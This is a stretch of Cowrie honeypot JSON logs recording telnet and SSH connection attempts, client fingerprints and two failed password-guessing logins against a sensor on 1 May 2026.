{"eventid":"cowrie.session.closed","duration":31.098838329315186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:23.446046Z","src_ip":"41.76.108.55","session":"cb67f9496f26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":49170,"dst_ip":"159.203.135.109","dst_port":23,"session":"b583f3dcbbf5","protocol":"telnet","message":"New connection: 41.76.108.55:49170 (159.203.135.109:23) [session: b583f3dcbbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:24.214913Z"}
{"eventid":"cowrie.session.closed","duration":30.547972202301025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:24.249654Z","src_ip":"41.76.108.55","session":"fe5ade6d6d03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60586905479431,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:24.303338Z","src_ip":"41.76.108.55","session":"607ec1ebe6b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795142889022827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:24.353862Z","src_ip":"41.76.108.55","session":"96d9a6f26e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.500321626663208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:24.474801Z","src_ip":"41.76.108.55","session":"3c5c69d5b140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58788,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b654946d095","protocol":"ssh","message":"New connection: 122.168.114.167:58788 (159.203.135.109:22) [session: 5b654946d095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:24.604924Z"}
{"eventid":"cowrie.session.closed","duration":30.84307312965393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:25.039239Z","src_ip":"15.204.204.191","session":"52da772bb894","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.300514221191406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:25.127000Z","src_ip":"41.76.108.55","session":"63f2e246a545","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29917287826538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:25.853884Z","src_ip":"41.76.108.55","session":"0dad1d202614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":57018,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8a7934c83d5","protocol":"telnet","message":"New connection: 41.76.108.55:57018 (159.203.135.109:23) [session: a8a7934c83d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:26.138216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:26.234546Z","src_ip":"122.168.114.167","session":"5b654946d095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:26.238299Z","src_ip":"122.168.114.167","session":"5b654946d095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.026867151260376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:26.265420Z","src_ip":"41.76.108.55","session":"75aa30cad1c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":57702,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdec0277bad1","protocol":"telnet","message":"New connection: 41.76.108.55:57702 (159.203.135.109:23) [session: bdec0277bad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:26.323396Z"}
{"eventid":"cowrie.session.closed","duration":31.32326626777649,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:26.540988Z","src_ip":"41.76.108.55","session":"58811ce2e0e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":38736,"dst_ip":"10.17.0.5","dst_port":23,"session":"85f10e9f4152","protocol":"telnet","message":"New connection: 15.204.204.191:38736 (10.17.0.5:23) [session: 85f10e9f4152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:26.894060Z"}
{"eventid":"cowrie.session.closed","duration":31.21331810951233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:27.163900Z","src_ip":"41.76.108.55","session":"1b3786f4ae01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":38738,"dst_ip":"10.17.0.5","dst_port":23,"session":"799394e91df8","protocol":"telnet","message":"New connection: 15.204.204.191:38738 (10.17.0.5:23) [session: 799394e91df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:27.776825Z"}
{"eventid":"cowrie.session.closed","duration":31.226706743240356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:27.873347Z","src_ip":"41.76.108.55","session":"d1b1622aa4d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.764413118362427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:28.026982Z","src_ip":"15.204.204.191","session":"f2496b73c219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":38750,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d3d83736888","protocol":"telnet","message":"New connection: 15.204.204.191:38750 (10.17.0.5:23) [session: 2d3d83736888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:28.137067Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40900,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d6e02cfd2aa","protocol":"telnet","message":"New connection: 41.76.108.55:40900 (159.203.135.109:23) [session: 4d6e02cfd2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:28.877503Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41956,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f2e80ab7ea8","protocol":"telnet","message":"New connection: 41.76.108.55:41956 (159.203.135.109:23) [session: 9f2e80ab7ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:29.134837Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44372,"dst_ip":"159.203.135.109","dst_port":23,"session":"58b8727df30c","protocol":"telnet","message":"New connection: 41.76.108.55:44372 (159.203.135.109:23) [session: 58b8727df30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:29.764318Z"}
{"eventid":"cowrie.session.closed","duration":30.98456072807312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:30.072418Z","src_ip":"15.204.204.191","session":"403f3997467a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273640394210815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:30.188294Z","src_ip":"41.76.108.55","session":"ae5e5f2d4ef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772953987121582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:31.035312Z","src_ip":"15.204.204.191","session":"7e7e3d7560f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":39164,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e412b407ad","protocol":"ssh","message":"New connection: 210.114.22.126:39164 (10.17.0.5:22) [session: 50e412b407ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:31.041509Z"}
{"eventid":"cowrie.session.closed","duration":30.985671997070312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:31.199335Z","src_ip":"41.76.108.55","session":"1cf6c2f77441","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:31.345844Z","src_ip":"210.114.22.126","session":"50e412b407ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:31.842612Z","src_ip":"210.114.22.126","session":"50e412b407ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.43216347694397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:32.036712Z","src_ip":"15.204.204.191","session":"71ac4082a54b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2000","message":"login attempt [root/server2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:32.845345Z","src_ip":"210.114.22.126","session":"50e412b407ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:33.098348Z","src_ip":"122.168.114.167","session":"5b654946d095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.097293853759766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:33.265710Z","src_ip":"41.76.108.55","session":"c79c064c33a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960272550582886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:33.284416Z","src_ip":"41.76.108.55","session":"4927d4ab4071","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.170150995254517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:33.408264Z","src_ip":"15.204.204.191","session":"9e7527488cd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":42642,"dst_ip":"10.17.0.5","dst_port":23,"session":"61be30f635e0","protocol":"telnet","message":"New connection: 15.204.204.191:42642 (10.17.0.5:23) [session: 61be30f635e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:33.676528Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:34.052251Z","src_ip":"210.114.22.126","session":"50e412b407ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.305691480636597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:34.271520Z","src_ip":"41.76.108.55","session":"0d9a639d7972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":37686,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb32a57e9cd0","protocol":"telnet","message":"New connection: 41.76.108.55:37686 (159.203.135.109:23) [session: bb32a57e9cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:35.040483Z"}
{"eventid":"cowrie.session.closed","duration":31.13584589958191,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:35.134734Z","src_ip":"41.76.108.55","session":"f1034a45ec8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:35.930253Z","src_ip":"122.168.114.167","session":"5b654946d095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":37906,"dst_ip":"159.203.135.109","dst_port":23,"session":"6095758bfbf3","protocol":"telnet","message":"New connection: 41.76.108.55:37906 (159.203.135.109:23) [session: 6095758bfbf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:36.083226Z"}
{"eventid":"cowrie.session.closed","duration":30.315581560134888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:37.158620Z","src_ip":"41.76.108.55","session":"bd1e52f83c8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777899026870728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:37.164962Z","src_ip":"41.76.108.55","session":"600257cb1213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":48968,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c2c9c3d0332","protocol":"telnet","message":"New connection: 41.76.108.55:48968 (159.203.135.109:23) [session: 9c2c9c3d0332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:37.808849Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":42650,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb5fe72cafc9","protocol":"telnet","message":"New connection: 15.204.204.191:42650 (10.17.0.5:23) [session: eb5fe72cafc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:37.867536Z"}
{"eventid":"cowrie.session.closed","duration":30.843154907226562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:38.079021Z","src_ip":"15.204.204.191","session":"10213a93435a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.569560289382935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:38.126763Z","src_ip":"41.76.108.55","session":"314f427eb3c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.959292888641357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:38.144021Z","src_ip":"41.76.108.55","session":"d97d0b9c04d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45629858970642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:39.171161Z","src_ip":"41.76.108.55","session":"0b15068316ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926939725875854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:39.176712Z","src_ip":"41.76.108.55","session":"8a91823726f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44206953048706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:39.181511Z","src_ip":"41.76.108.55","session":"ca27c4507e0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59324,"dst_ip":"159.203.135.109","dst_port":23,"session":"851100e31941","protocol":"telnet","message":"New connection: 41.76.108.55:59324 (159.203.135.109:23) [session: 851100e31941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:40.422244Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":32802,"dst_ip":"159.203.135.109","dst_port":23,"session":"e24a2cea5d79","protocol":"telnet","message":"New connection: 41.76.108.55:32802 (159.203.135.109:23) [session: e24a2cea5d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:40.936350Z"}
{"eventid":"cowrie.session.closed","duration":30.917786836624146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:41.270467Z","src_ip":"41.76.108.55","session":"12e269602dee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25343942642212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:41.299616Z","src_ip":"15.204.204.191","session":"0a7768964eca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.216244220733643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:41.661022Z","src_ip":"41.76.108.55","session":"696dedd425b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":35670,"dst_ip":"159.203.135.109","dst_port":23,"session":"9677452eaf84","protocol":"telnet","message":"New connection: 41.76.108.55:35670 (159.203.135.109:23) [session: 9677452eaf84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:41.699230Z"}
{"eventid":"cowrie.session.closed","duration":30.495864868164062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:42.135720Z","src_ip":"41.76.108.55","session":"e5903b6af987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.486801862716675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:42.155311Z","src_ip":"15.204.204.191","session":"ba462e9ab686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":52690,"dst_ip":"10.17.0.5","dst_port":23,"session":"376862e3ae47","protocol":"telnet","message":"New connection: 15.204.204.191:52690 (10.17.0.5:23) [session: 376862e3ae47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:43.167684Z"}
{"eventid":"cowrie.session.closed","duration":31.09612464904785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:43.720855Z","src_ip":"41.76.108.55","session":"e9ac4c7a1336","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40760,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe2cfa3586f","protocol":"telnet","message":"New connection: 41.76.108.55:40760 (159.203.135.109:23) [session: dfe2cfa3586f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:43.935046Z"}
{"eventid":"cowrie.session.closed","duration":31.337761402130127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:44.002173Z","src_ip":"41.76.108.55","session":"3fd28c74e35b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":52704,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fbcf4546032","protocol":"telnet","message":"New connection: 15.204.204.191:52704 (10.17.0.5:23) [session: 5fbcf4546032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:44.139489Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":47764,"dst_ip":"159.203.135.109","dst_port":23,"session":"062fcee441be","protocol":"telnet","message":"New connection: 41.76.108.55:47764 (159.203.135.109:23) [session: 062fcee441be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:44.721597Z"}
{"eventid":"cowrie.session.closed","duration":30.411368370056152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:45.008322Z","src_ip":"15.204.204.191","session":"51f61a7f4b8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.217519998550415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:45.157251Z","src_ip":"41.76.108.55","session":"e98c6bcbef9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962701320648193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:45.269663Z","src_ip":"41.76.108.55","session":"8f7776aa5eec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":52718,"dst_ip":"10.17.0.5","dst_port":23,"session":"1447ba0b959f","protocol":"telnet","message":"New connection: 15.204.204.191:52718 (10.17.0.5:23) [session: 1447ba0b959f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:45.537190Z"}
{"eventid":"cowrie.session.closed","duration":31.728917121887207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:45.620744Z","src_ip":"41.76.108.55","session":"d7b1c5fd0428","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41365146636963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:46.130327Z","src_ip":"41.76.108.55","session":"da09ec80ac10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.742688179016113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:46.147337Z","src_ip":"41.76.108.55","session":"eadc59cff0a5","protocol":"telnet"}
